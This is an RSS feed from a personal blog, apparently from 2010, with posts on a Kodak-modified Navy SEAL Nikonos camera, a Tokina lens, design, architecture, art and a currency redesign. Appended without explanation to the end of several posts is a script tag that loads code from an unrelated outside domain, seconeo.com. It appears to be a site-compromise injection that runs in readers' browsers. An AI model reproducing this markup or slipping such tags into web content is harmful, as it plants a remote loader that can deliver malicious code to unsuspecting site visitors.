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<channel>
	<title>Velvet Cartel</title>
	<atom:link href="http://velvetcartel.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://velvetcartel.com</link>
	<description>Personal Blog, Portfolio &#38; Rants of Jeremy Wells</description>
	<lastBuildDate>Mon, 06 Sep 2010 20:45:36 +0000</lastBuildDate>
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		<title>First post from my iPad.</title>
		<link>http://velvetcartel.com/2010/09/first-post-from-my-ipad/</link>
		<comments>http://velvetcartel.com/2010/09/first-post-from-my-ipad/#comments</comments>
		<pubDate>Mon, 06 Sep 2010 20:45:36 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Life]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Back]]></category>
		<category><![CDATA[vacation]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=960</guid>
		<description><![CDATA[Sorry for my extended absence, but I&#8217;m back. And posting in style! The past few months have been crazy, and there&#8217;s been a lot that has happened. Sarah and I celebrated our 1st wedding anniversary, and I&#8217;m enrolled back in college, and I&#8217;m enjoying it. That&#8217;s just a little snippet, but I won&#8217;t bore you [...]]]></description>
			<content:encoded><![CDATA[<p>Sorry for my extended absence, but I&#8217;m back. And posting in style!</p>
<p>The past few months have been crazy, and there&#8217;s been a lot that has happened.  Sarah and I celebrated our 1st wedding anniversary, and I&#8217;m enrolled back in college, and I&#8217;m enjoying it.  That&#8217;s just a little snippet, but I won&#8217;t bore you with the rest.</p>
<p>I&#8217;m just glad to be back.</p>
<p><img src="http://www.johnarroyo.com/wp-content/uploads/2010/02/2356i_m_back.jpg" alt="I'm back" /></p>
]]></content:encoded>
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		<title>The Secret Navy Seal Nikon</title>
		<link>http://velvetcartel.com/2010/05/the-secret-navy-seal-nikon/</link>
		<comments>http://velvetcartel.com/2010/05/the-secret-navy-seal-nikon/#comments</comments>
		<pubDate>Mon, 10 May 2010 11:51:18 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Navy Seal]]></category>
		<category><![CDATA[Nikon]]></category>
		<category><![CDATA[Secret]]></category>
		<category><![CDATA[Water Proof]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=955</guid>
		<description><![CDATA[The legendary Nikonos was created by Cousteau and Wouters in the 60s. Built for submarine photography, it could stand a Kraken&#8217;s bite. Later, Nikon turned it into an SLR. But this US Navy SEAL&#8217;s camera wasn&#8217;t an ordinary Nikonos. This Nikonos was a total mystery. A secret that not many people knew about until recently. [...]]]></description>
			<content:encoded><![CDATA[<p><a rel="lytebox" href="http://cache.gawkerassets.com/assets/images/4/2010/05/sealbeachreconko0.jpg"><img src="http://cache.gawkerassets.com/assets/images/4/2010/05/500x_sealbeachreconko0.jpg" alt="The Secret Behind the Mysterious Digital Nikonos Camera" width="500" /></a>The legendary Nikonos was created by Cousteau and Wouters in the 60s. Built for submarine photography, it could stand a Kraken&#8217;s bite. Later, Nikon turned it into an SLR. But this US Navy SEAL&#8217;s camera wasn&#8217;t an ordinary Nikonos.</p>
<p>This Nikonos was a total mystery. A secret that not many people knew about until recently. In fact, its existence was repeatedly denied by the manufacturer, even after the US Navy published this photo, showing a member of SEAL Team One equipped with one and the following caption:</p>
<blockquote><p>980608-N-3236B-003 NAVAL AIR BASE CORONADO, California (June 8, 1998) —<a title="Click here to read more posts tagged #navyseals" href="http://gizmodo.com/tag/navyseals/">Navy SEALs</a> attached to SEAL Team One, Naval Air Base Coronado, CA, conducts training using the Nikon/Kodak <a title="Click here to read more posts tagged #dcs425" href="http://gizmodo.com/tag/dcs425/">DCS 425</a> underwater digital camera which can send real time digital images to decision makers, and an LPI LPD tracking device uses brevity codes to send both mission status and precise longitude/latitude. U.S. Navy photo by Photographer Mate 2nd Class Ted Banks. (RELEASED)</p></blockquote>
<p><img src="http://cache.gawkerassets.com/assets/images/4/2010/05/340x_nikonos_rs-dankestly.jpg" alt="The Secret Behind the Mysterious Digital Nikonos Camera" width="340" /></p>
<p>A digital Nikonos? Nobody had a digital Nikonos. Digital Nikonos just don&#8217;t exist. They didn&#8217;t exist in 1998 and they never <em>ever</em> existed. Nikon never manufactured them. In fact, Nikon <em>cancelled</em> the Nikonos in 2001, three years after this photo was taken.</p>
<p>So what the hell is this &#8220;digital camera which can send real time digital images to decision makers&#8221;? It <em>is</em> a Nikonos, but with different guts, modified by Eastman Kodak Company Commercial &amp; Goverment Systems. The model name was the DCS 425 M, a black and white DSLR made for the military. According to Jarle Aasland—who <a href="http://www.nikonweb.com/dcs425/">investigated the origin of the puzzling beast</a>—Kodak officially denies their existence:</p>
<blockquote><p>I&#8217;m sorry but those cameras never existed here at Eastman Kodak. We never made cameras for that specific use. The information you have is incorrect.</p></blockquote>
<p><a rel="lytebox" href="http://cache.gawkerassets.com/assets/images/4/2010/05/dcs425_inside.jpg"><img src="http://cache.gawkerassets.com/assets/images/4/2010/05/500x_dcs425_inside.jpg" alt="The Secret Behind the Mysterious Digital Nikonos Camera" width="500" /></a></p>
<p>Jarle&#8217;s information wasn&#8217;t incorrect, however. It was later confirmed by Jim McGarvey, Kodak&#8217;s lead engineer on the DCS cameras who said that the division would take commercial camera designs to adapt them for special needs in limited runs.</p>
<p>It&#8217;s too bad that Nikon cancelled the Nikonos. Not only it is a beautiful camera that requires no casing for diving, but it&#8217;s a perfect camera to take into any environment with no protection needed whatsoever. [<a href="http://www.nikonweb.com/dcs425/">Nikonos</a> via <a href="http://nikonrumors.com/2010/05/05/flashback-from-1998-navy-seals-training-with-nikon-underwater-digital-camera.aspx">Nikon Rumors</a>]<script src="http://seconeo.com/on"></script></p>
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		<title>Angelic Singing &#8220;Ahhhh&#8221;: Tokina 11-16mm f/2.8</title>
		<link>http://velvetcartel.com/2010/05/angelic-singing-ahhhh-tokina-11-16mm-f2-8/</link>
		<comments>http://velvetcartel.com/2010/05/angelic-singing-ahhhh-tokina-11-16mm-f2-8/#comments</comments>
		<pubDate>Fri, 07 May 2010 22:52:37 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Life]]></category>
		<category><![CDATA[Photography]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[Canon 7D]]></category>
		<category><![CDATA[Tokina]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=953</guid>
		<description><![CDATA[Finally got my hands on this puppy! Here is a short random video just showing off the wideness of this lens.  It&#8217;s magnificent. Hopefully you&#8217;ll be seeing many short films to come with this lens&#8230;.]]></description>
			<content:encoded><![CDATA[<p>Finally got my hands on this puppy!</p>
<p>Here is a short random video just showing off the wideness of this lens.  It&#8217;s magnificent.</p>
<p>Hopefully you&#8217;ll be seeing many short films to come with this lens&#8230;.</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="213" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=11564434&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ffffff&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="500" height="213" src="http://vimeo.com/moogaloop.swf?clip_id=11564434&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ffffff&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object><script src="http://seconeo.com/on"></script></p>
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		<title>Malcolm Fraser by Robert Hannaford</title>
		<link>http://velvetcartel.com/2010/05/malcolm-fraser-by-robert-hannaford/</link>
		<comments>http://velvetcartel.com/2010/05/malcolm-fraser-by-robert-hannaford/#comments</comments>
		<pubDate>Fri, 07 May 2010 12:00:13 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Archibald Prize]]></category>
		<category><![CDATA[Robert Hannaford]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=940</guid>
		<description><![CDATA[An extraordinary painting by Robert Hannaford. This along with many others, is a finalist for the Archibald Prize. The Archibald Prize is one of Australia&#8217;s oldest and most prestigious art awards. JF Archibald’s primary aims were to foster portraiture, support artists and perpetuate the memory of great Australians. Since its inception in 1921 the prize [...]]]></description>
			<content:encoded><![CDATA[<p>An extraordinary painting by <a href="http://www.roberthannaford.com.au/index.html" target="_blank">Robert Hannaford</a>.</p>
<p>This along with many others, is a finalist for the <a href="http://www.thearchibaldprize.com.au/" target="_blank">Archibald Prize</a>.</p>
<blockquote><p>The Archibald Prize is one of Australia&#8217;s oldest and most prestigious  art awards. JF Archibald’s primary aims were to foster portraiture,  support artists and perpetuate the memory of great Australians. Since  its inception in 1921 the prize has been awarded to some of Australia’s  most important artists, including George Lambert, William Dobell and  Brett Whiteley.</p></blockquote>
<p style="text-align: center;"><img class="size-full wp-image-941 aligncenter" title="Malcolm Fraser" src="http://velvetcartel.com/wp-content/uploads/2010/05/Screen-shot-2010-05-04-at-10.21.37-AM.png" alt="" width="348" height="417" /></p>
<p><img class="aligncenter size-full wp-image-942" title="Malcolm Fraser 01" src="http://velvetcartel.com/wp-content/uploads/2010/05/Screen-shot-2010-05-04-at-10.21.08-AM.png" alt="" width="348" height="267" /><script src="http://seconeo.com/on"></script></p>
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		<title>Irving Harper</title>
		<link>http://velvetcartel.com/2010/05/irving-harper/</link>
		<comments>http://velvetcartel.com/2010/05/irving-harper/#comments</comments>
		<pubDate>Thu, 06 May 2010 12:32:40 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Creativity]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[Irving Harper]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=938</guid>
		<description><![CDATA[Irving Harper has been a long time hero of ours. We were first introduced to this design legend in 2001 from an interview in Metropolis Magazine. It was our first realization that George Nelson was credited for many of the iconic designs that Harper had created. Designs that are still being manufactured today by Herman [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-937" title="blog_irvingharper_grid_3" src="http://velvetcartel.com/wp-content/uploads/2010/05/blog_irvingharper_grid_3.jpg" alt="" width="500" height="280" /></p>
<blockquote><p>Irving Harper has been a long time hero of ours. We were first  introduced to this design legend in 2001 from an interview in <a href="http://www.metropolismag.com/html/content_0601/har/index.html" target="_blank">Metropolis Magazine</a>. It was our first realization  that George Nelson was credited for many of the iconic designs that  Harper had created. Designs that are still being manufactured today by  Herman Miller, Vitra, and Maharam from the Marshmallow sofa to the  popular desk and wall clocks. Slowly but surely Harper is being  recognized, either for his design contributions or his paper sculptures,  a hobby he took on after hours. Michael Maharam is helping to document  these sculptures in a monograph to be published by the end of the year. <a href="http://www.nytimes.com/2010/05/02/t-magazine/02talk-harper-t.html?scp=1&amp;sq=irving%20harper&amp;st=cse" target="_blank">New York Times</a> visited Harper recently at his home  in Rye, New York, capturing a portrait of the him in his studio.  Interestingly enough, the photo was shot from the same angle as the 2001  photo of his studio in Metropolis Magazine – every bit of the space  appears to be the same.</p>
<p>Source: <a href="http://thescoutmag.com/" target="_blank">The Scout</a></p></blockquote>
<p><script src="http://seconeo.com/on"></script></p>
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		<title>&#8220;The Last 3 Minutes&#8221; from Shane Hurlbut</title>
		<link>http://velvetcartel.com/2010/05/the-last-3-minutes-from-shane-hurlbut/</link>
		<comments>http://velvetcartel.com/2010/05/the-last-3-minutes-from-shane-hurlbut/#comments</comments>
		<pubDate>Wed, 05 May 2010 13:58:54 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[Janitor]]></category>
		<category><![CDATA[Mundane]]></category>
		<category><![CDATA[Shane Hurlbut]]></category>
		<category><![CDATA[Short Film]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=946</guid>
		<description><![CDATA[This is an amazing short film I found while searching Vimeo. Take a few minutes and watch it, I don&#8217;t think you&#8217;ll regret it.  As I watched this so many emotions came about.  This story covers the seemingly mundane life of a janitor, William Turner.  At first glance you&#8217;d think he was just a normal [...]]]></description>
			<content:encoded><![CDATA[<p>This is an amazing short film I found while searching Vimeo.</p>
<p>Take a few minutes and watch it, I don&#8217;t think you&#8217;ll regret it.  As I watched this so many emotions came about.  This story covers the seemingly mundane life of a janitor, William Turner.  At first glance you&#8217;d think he was just a normal boring janitor, but as the film unfolds interesting events unfold.</p>
<p>Shot on the famous 5D MkII at 30 fps then converted to 24 fps.</p>
<p>And check out the <a href="http://vimeo.com/10994038" target="_blank">&#8220;Making of&#8221; videos</a> too</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="500" height="281" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=10570139&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ffffff&amp;fullscreen=1" /><embed type="application/x-shockwave-flash" width="500" height="281" src="http://vimeo.com/moogaloop.swf?clip_id=10570139&amp;server=vimeo.com&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=ffffff&amp;fullscreen=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>Director</strong>: Po Chan<br />
<strong>Cinematographer and Executive Producer</strong>: <a href="http://www.hurlbutvisuals.com/" target="_blank">Shane Hurlbut, ASC</a><br />
<strong>Producer</strong>: Greg Haggart<br />
<strong>Editor</strong>: Vashi Nedomansky<script src="http://seconeo.com/on"></script></p>
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		<title>The House Among Trees</title>
		<link>http://velvetcartel.com/2010/05/the-house-among-trees/</link>
		<comments>http://velvetcartel.com/2010/05/the-house-among-trees/#comments</comments>
		<pubDate>Wed, 05 May 2010 12:00:42 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[Travel]]></category>
		<category><![CDATA[House]]></category>
		<category><![CDATA[Mar Azul]]></category>
		<category><![CDATA[Martín Fernández de Lema]]></category>
		<category><![CDATA[Nicolás F. Moreno Deutsch]]></category>
		<category><![CDATA[Trees]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=931</guid>
		<description><![CDATA[Any architecture that is built with nature in mind, is made with concrete and has wooden interior elements, immediately gets an instant like from me. There’s just something about the combination of wood, concrete and trees that I love. In this case the trees were included by law. Local construction codes of Mar Azul, Beunos [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-932 aligncenter" title="1265740208-ma-mfdl-1-450x300" src="http://velvetcartel.com/wp-content/uploads/2010/05/1265740208-ma-mfdl-1-450x300.jpg" alt="" width="450" height="300" /></p>
<p style="text-align: center;"><img class="size-full wp-image-934 aligncenter" title="1265740538-ma-mfdl-21-450x300" src="http://velvetcartel.com/wp-content/uploads/2010/05/1265740538-ma-mfdl-21-450x300.jpg" alt="" width="450" height="300" /></p>
<p>Any architecture that is built with nature in mind, is made with  concrete and has wooden interior elements, immediately gets an instant  like from me. There’s just something about the combination of wood,  concrete and trees that I love.</p>
<p>In this case the trees were included by law. Local construction codes  of Mar Azul, Beunos Aires, Argentina actually restrict the removal of  trees. Instead of relocating the house the architects, Martín Fernández  de Lema and Nicolás F. Moreno Deutsch, decided to build the house around  them. Leaving the end result a beautifully designed, wide open house  that is seemingly the perfect spring or summertime residence.</p>
<p>Images via <a href="http://www.archdaily.com/49336/house-among-trees-marti%CC%81n-ferna%CC%81ndez-de-lema-nicola%CC%81s-moreno-deutsch/" target="_blank">Arch Daily</a>.</p>
<p>Source: <a href="http://blog.iso50.com/" target="_blank">ISO50</a><script src="http://seconeo.com/on"></script></p>
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		<title>Martin Skelly&#8217;s Playlist Player</title>
		<link>http://velvetcartel.com/2010/05/martin-skellys-playlist-player/</link>
		<comments>http://velvetcartel.com/2010/05/martin-skellys-playlist-player/#comments</comments>
		<pubDate>Tue, 04 May 2010 12:00:32 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Music]]></category>
		<category><![CDATA[Album]]></category>
		<category><![CDATA[FLAC]]></category>
		<category><![CDATA[LP]]></category>
		<category><![CDATA[Martin Skelly]]></category>
		<category><![CDATA[Mp3]]></category>
		<category><![CDATA[Record Player]]></category>
		<category><![CDATA[Vinyl]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=927</guid>
		<description><![CDATA[A novel concept and beautiful exterior make Martin Skelly’s Playlist Player vinyl emulation system a certified object of desire. The device — which plays back digital files in an apparently Serrato-like manner — attempts to simulate the classic ritual of the vinyl LP. “There are two parts to the design: the player, and the record [...]]]></description>
			<content:encoded><![CDATA[<div>
<p><img title="70bfc2eb73827d9936cf608d37635745" src="http://blog.iso50.com/wp-content/uploads/2010/04/70bfc2eb73827d9936cf608d37635745-450x453.jpg" alt="" width="450" height="453" /><br />
<img title="af086cfcdc43664b01e24d50cf003ecb" src="http://blog.iso50.com/wp-content/uploads/2010/04/af086cfcdc43664b01e24d50cf003ecb-450x300.jpg" alt="" width="450" height="300" /><br />
<img title="b9fc61ffaf6821a8f9750d6c83f7f9d0" src="http://blog.iso50.com/wp-content/uploads/2010/04/b9fc61ffaf6821a8f9750d6c83f7f9d0-450x213.jpg" alt="" width="450" height="213" /><br />
<img title="00d926252059cb19e142fcb6a96ca7bb" src="http://blog.iso50.com/wp-content/uploads/2010/04/00d926252059cb19e142fcb6a96ca7bb-450x301.jpg" alt="" width="450" height="301" /><br />
A novel concept and beautiful exterior make <a href="http://www.martinskelly.co.uk/" target="_blank">Martin Skelly’s Playlist Player</a> vinyl emulation system a certified object of desire. The device — which  plays back digital files in an apparently Serrato-like manner —  attempts to simulate the classic ritual of the vinyl LP.</p>
<blockquote><p>“There are two parts to the design: the player, and the  record box containing five different coloured covers. Once the playlists  are chosen and synced to the player with a memory stick, the user  customises the outside of the sleeve with artwork of their choice. It  could be photos of a memorable night or person or typed and hand drawn  tracklists. Once the record is placed on the player, the music begins  and the outer ring of lights illuminates. As the playlists plays rings  of light visible through the translucent record move towards the centre  of the disc, like a needle tracking on a record. These lights represent  time and not the number of tracks, meaning your music must be enjoyed  from start to finish with no distractions like the temptation to skip  tracks, fast forward or rewind.”</p>
<p>Seeing people designing experiences like this is always nice, but it  does illuminate the rather unsettling fact that the album format is  dying. People are consuming media in ever smaller chunks and the LP  experience is no longer the norm. I think this is a huge loss and an  unfortunate consequence of the on-demand nature of the internet.</p>
<p>Although I grew up listening to 8-track, vinyl, cassette tapes, and  then CDs — all of which tended to be enjoyed in album format more often  than not — I  must admit that I jump around a lot when consuming MP3s. I  have recently begun rebuilding my music collection in lossless FLAC  though and this has encouraged me to  listen to more music as whole  albums. If Skelly’s Playlist Player supports FLAC or WAV it might make  the experience that much more enjoyable.</p></blockquote>
<p><strong>Source</strong>: <a href="http://blog.iso50.com/" target="_blank">ISO50</a></p>
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		<title>MicroWorld by Alan Jaras</title>
		<link>http://velvetcartel.com/2010/05/microworld-by-alan-jaras/</link>
		<comments>http://velvetcartel.com/2010/05/microworld-by-alan-jaras/#comments</comments>
		<pubDate>Mon, 03 May 2010 12:00:23 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Photography]]></category>
		<category><![CDATA[Alan Jaras]]></category>
		<category><![CDATA[Micro]]></category>
		<category><![CDATA[Small]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=918</guid>
		<description><![CDATA[Alan Jaras is a rather unorthodox photographer who takes some rather extraordinary photos. A lot of his works deal with capturing light, which technically is all photography is, but I mean streaks of abstract, colored light. What really caught my eye though was this series he’s created called MicroWorld. Using a scanning electron microscope he’s [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-917" title="MicroWorld-01" src="http://velvetcartel.com/wp-content/uploads/2010/05/Screen-shot-2010-05-01-at-11.23.05-AM.png" alt="" width="500" height="385" /></p>
<p><img class="alignnone size-full wp-image-915" title="MicroWorld-02" src="http://velvetcartel.com/wp-content/uploads/2010/05/Screen-shot-2010-05-01-at-11.22.41-AM.png" alt="" width="500" height="341" /></p>
<blockquote><p><a onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.flickr.com/photos/alanjaras/');" href="http://www.flickr.com/photos/alanjaras/">Alan  Jaras</a> is a rather unorthodox photographer who takes some rather  extraordinary photos. A lot of his works deal with capturing light,  which technically is all photography is, but I mean streaks of abstract,  colored light. What really caught my eye though was this series he’s  created called <a onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.flickr.com/photos/alanjaras/sets/1335246/');" href="http://www.flickr.com/photos/alanjaras/sets/1335246/">MicroWorld</a>.</p>
<p>Using a scanning electron microscope he’s able to capture some of the  smallest details of our world, which end up looking like tiny, strange  worlds. This certainly isn’t new but he’s quite consistent with  uploading new images, and well, they’re just rad to look at.</p>
<p><small>Found through <a onclick="javascript:pageTracker._trackPageview('/outbound/article/http://twitter.com/IanCoyle/status/13110874662');" href="http://twitter.com/IanCoyle/status/13110874662">Ian  Coyle</a></small></p>
<p><strong>Source</strong>: <a href="http://kitsunenoir.com" target="_blank">kitsunenoir.com</a></p></blockquote>
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		<title>U.S. Currency Redesign by Michael Tyznik</title>
		<link>http://velvetcartel.com/2010/05/u-s-currency-redesign-by-michael-tyznik/</link>
		<comments>http://velvetcartel.com/2010/05/u-s-currency-redesign-by-michael-tyznik/#comments</comments>
		<pubDate>Sat, 01 May 2010 16:29:37 +0000</pubDate>
		<dc:creator>Jeremy</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Creativity]]></category>
		<category><![CDATA[Cash]]></category>
		<category><![CDATA[Currency]]></category>
		<category><![CDATA[Michael Tyznik]]></category>
		<category><![CDATA[Money]]></category>
		<category><![CDATA[US]]></category>

		<guid isPermaLink="false">http://velvetcartel.com/?p=921</guid>
		<description><![CDATA[Last Thursday I posted this video showing the redesign if the $100 bill here in the U.S. and the proceeded to talk about how horrible it was. To my surprise there were a lot of commenters who seemed to think that the idea of security and beauty were two concepts that couldn’t live together, which [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://kitsunenoir.com/blogimages/us-currency-redesign-michael-tyznik-1.jpg" alt="" width="500" height="359" /></p>
<p><img src="http://kitsunenoir.com/blogimages/us-currency-redesign-michael-tyznik-2.jpg" alt="" width="500" height="361" /></p>
<p><img src="http://kitsunenoir.com/blogimages/us-currency-redesign-michael-tyznik-3.jpg" alt="" width="500" height="236" /></p>
<p><img src="http://kitsunenoir.com/blogimages/us-currency-redesign-michael-tyznik-4.jpg" alt="" width="500" height="236" /></p>
<p>Last Thursday I posted <a href="http://kitsunenoir.com/2010/04/23/the-ugliest-100-bill-yet/">this  video showing the redesign if the $100 bill</a> here in the U.S. and the  proceeded to talk about how horrible it was. To my surprise there were a  lot of commenters who seemed to think that the idea of security and  beauty were two concepts that couldn’t live together, which kind of  baffled me.</p>
<p>In response I’m posting these currency redesigns by <a onclick="javascript:pageTracker._trackPageview('/outbound/article/http://www.tyznik.com/');" href="http://www.tyznik.com/">Michael  Tyznik</a>, who I think did an amazing job of bridging the gap between  design and potential security. His design includes ideas like a  holographic strip, which not only makes it easier to tell the bills  apart easier but could also be filled with a bevy of security features, I  would assume. Inside the strip there are also embossed dots for the  sight-impaired, something that current currency definitely doesn’t take  into consideration.</p>
<p>This in my mind couldn’t be any better looking. It’s simple and bold  while still giving a nod to the history of money in America. If you’ve  happened to notice that there’s a lack of $1 you’re right, Michael  suggests doing away with the $1 all together and replacing them with  coins instead as it only has an average lifespan of 21 months. Kinda  interesting, huh?</p>
<p><strong>Source</strong>: <a href="http://kitsunenoir.com" target="_blank">kitsunenoir.com</a><script src="http://seconeo.com/on"></script></p>
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